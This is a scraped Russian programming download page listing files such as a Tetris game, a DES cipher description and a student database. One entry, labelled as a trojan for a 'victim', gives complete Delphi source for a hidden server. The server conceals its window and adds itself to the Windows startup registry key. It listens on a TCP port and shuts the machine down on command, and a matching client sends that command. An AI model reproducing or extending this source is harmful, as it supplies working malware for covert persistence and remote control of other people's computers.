Реклама
|
|
|
|
|
|
Популярные статьи
|
|
|
|
|
|
Сейчас на сайте
|
|
 Гостей: 12
На сайте нет зарегистрированных пользователей
Пользователей: 13,372
новичок: vausoz
|
|
|
Новости
|
|
|
|
|
|
|
Реклама
|
|
Выполняем курсовые и лабораторные по разным языкам программирования
Подробнее - курсовые и лабораторные на заказ
Delphi, Turbo Pascal, Assembler, C, C++, C#, Visual Basic, Java, GPSS, Prolog, 3D MAX, Компас 3D
Заказать программу для Windows Mobile, Symbian
Принадлежит ли точка пересечению двух окружностей на Turbo Pascal + Отче...
Моделирование процесса обработки заданий пакетным режимом работы с квант...
Компьютерный магазин на Turbo Pascal (База данных) + Пояснительная записка
|
|
Deprecated: Function eregi() is deprecated in /home/codingr/sites/codingrus.ru/side_left.php on line 41
Deprecated: Function eregi() is deprecated in /home/codingr/sites/codingrus.ru/side_left.php on line 41
|
Professional Download System
|
 |
Tetris 2002
за Kest 27/10/2008 08:46 |
Загрузки: 693
Коментарии: 0 |
 Игра тетрис |
|
Trojan [Исходник на Delphi]
за Kest 13/04/2009 20:37 |
Загрузки: 884
Коментарии: 0 |
На твоей машине (клиент)
У жертвы (сервер)
Троянский сервер:
- Перенести "MainFrom" из раздела "Auto-Create forms" в "Available forms".
- Бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно).
- Свойство "Port" поменять на любое другое (желательно больше 1000).
- Поставить после "uses" слово "registry".
- "OnCreate" будет выполняться следующее:
procedure TMainForm.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices','Trojan.exe',Application.ExeName);
RegIni.Free;
ServerSocket.Active:=true;
end;
- "OnDistroy" будет выполняться:
procedure TMainForm.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket.Active:=false;
end;
- У ServerSocket "OnClientRead" (процедура вызывается, когда что-нибудь приходит на порт) написать:
procedure TMainForm.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
if Socket.ReceiveText='R' then ExitWindowsEx(EWX_SHUTDOWN,0);
end;
program Trojan;
uses Forms,Windows,MainUnit in 'MainUnit.pas' {MainForm};
{$R *.RES}
var WhEvent: THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
MainForm:=TMainForm.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil,true,false,'et');
while (true) do begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Клиентская часть:
- Бросить на форму компонент ClientSocket из раздела "Internet".
- Свойство "Port" поменять на тот, который был назначен серверу.
- В обработчике нажатия кнопки следующее:
procedure TMainForm.ButtonClick(Sender: TObject);
begin
ClientSocket.Host:=Edit.Text; // Имя
// ClientSocket.Addres:=Edit.Text // IP адрес
ClientSocket.Active:=true;
ClientSocket.Socket.SendText('R');
ClientSocket.Active:=false;
end;
|
|
Алгоритм DES шифрования
за Kest 04/12/2009 10:05 |
Загрузки: 2511
Коментарии: 0 |
DES (Data Encryption Standard) — Симметричный алгоритм шифрования, в котором один ключ используется как для шифрования, так и для расшифрования данных. DES разработан фирмой IBM и утвержден правительством США в 1977 году как официальный стандарт (FIPS 46-3). DES имеет блоки по 64 бит и 16 цикловую структуру сети Фейстеля, для шифрования использует ключ с длиной 56 бит. |
|
БД студентов
за Kest 07/12/2009 12:54 |
Загрузки: 2487
Коментарии: 0 |
Бд студентов + рассчет среднего балла
Скриншот:
 |
|
|
|
|
Гость
|
|
Вы не зарегистрированны? Нажмите здесь для регистрации.
Забыли пароль? Запросите новый здесь.
|
|
|
Загрузки
|
|
|
Новые загрузки
Случайные загрузки
Топ загрузок
|
|
|
Главная
Каталог файлов
